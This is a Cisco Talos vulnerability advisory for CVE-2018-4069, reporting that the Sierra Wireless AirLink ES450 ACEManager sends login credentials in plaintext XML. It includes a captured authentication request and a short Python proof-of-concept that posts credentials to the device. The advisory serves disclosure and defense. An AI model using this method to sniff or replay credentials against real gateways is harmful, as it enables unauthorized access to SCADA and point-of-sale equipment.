Sierra Wireless AirLink ES450 ACEManager Information Exposure

`Talos Vulnerability Report  
  
TALOS-2018-0754  
  
Sierra Wireless AirLink ES450 ACEManager Information Exposure Vulnerability  
April 25, 2019  
  
CVE Number  
  
CVE-2018-4069  
  
Summary  
  
An information disclosure vulnerability exists in the ACEManager authentication functionality of Sierra Wireless AirLink ES450 FW 4.9.3. The ACEManager authentication functionality is done in plaintext XML to the web server. An attacker can listen to network traffic upstream from the device to capitalize on this vulnerability.  
  
Tested Versions  
  
Sierra Wireless AirLink ES450 FW 4.9.3  
  
Product URLs  
  
https://www.sierrawireless.com/products-and-solutions/routers-gateways/es450/  
CVSSv3 Score  
  
5.9 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N  
CWE  
  
CWE-311: Missing Encryption of Sensitive Data  
  
Details  
  
Sierra Wireless is a wireless communications equipement designer and manufacturer. They provide both embedded solutions as well as wireless hardware solutions, including both the ES450 and GX450 devices. The AirLink ES450 is a LTE gateway designed for distributed enterprise. The ES450 is typically seen connecting Point-of-sale devices, remote SCADA equipment, or other business critical equipment. The AirLink ES450 also provides a terminal server for remote out-of-band administration.  
  
ACEManager is the web server included with the AirLink ES450. This web server is responsible for the majority of interactions in the device. Some specific capabilities of the web server are routing, device reconfiguration, user authentication and certificate management. The vendor has stated that the ACEManager web application is not accessible by default from the Cellular WAN.  
  
The authentication of ACEManager utilizes plaintext credentials for communication between the client and webserver. This plaintext authentication can be sniffed from the network and utilized to log into the device.  
Authentication Request  
  
POST /xml/Connect.xml HTTP/1.1  
Host: 192.168.13.31:9191  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: application/xml, text/xml, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.13.31:9191/  
Content-Type: text/xml  
X-Requested-With: XMLHttpRequest  
Content-Length: 129  
Cookie: token=1774ad8f3ee180cdd62e29611e1efc9c  
Connection: close  
  
<request xmlns="urn:acemanager">  
<connect>  
<login>user</login>  
<password><![CDATA[password012]]></password>  
</connect>  
</request>  
  
These vulnerabilities were discovered and tested using the AirLink ES450. Most likely this vulnerabilities also affects the AirLink GX450 product as well.  
  
Exploit Proof of Concept  
  
#!/usr/bin/env python  
#Author : Carl Hurd, Cisco Talos  
import sys  
import requests  
  
from requests_toolbelt.utils import dump  
  
def auth(ip, port, password):  
data = """<request xmlns="urn:acemanager">  
<connect>  
<login>user</login>  
<password><![CDATA[{}]]></password>  
</connect>  
</request>""".format(password)  
  
response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)  
  
data = dump.dump_all(response) print(data.decode('utf-8'))  
  
def main():  
if len(sys.argv) < 4 or len(sys.argv) > 4:  
print("Usage : {} [ip address] [port] [password of user]".format(sys.argv[0]))  
sys.exit(0)  
  
ip = sys.argv[1]  
port = sys.argv[2]  
password = sys.argv[3]  
  
auth(ip, port, password)  
  
  
if __name__ == "__main__":  
main()  
  
Timeline  
  
2018-12-14 - Vendor disclosure  
2018-12-17 - Vendor acknowledged  
2019-01-08 - Discussion to review vendor's analysis of issues  
2019-03-26 - Vendor established timelines for fix/public disclosure  
2019-04-20 - Talos provided revised CVSS score on TALOS-2018-0746, TALOS-2018-0751, TALOS-2018-0752, TALOS-2018-0755, and TALOS-2018-0756  
2019-04-25 - Public Release  
  
Credit  
  
Discovered by Carl Hurd of Cisco Talos.  
`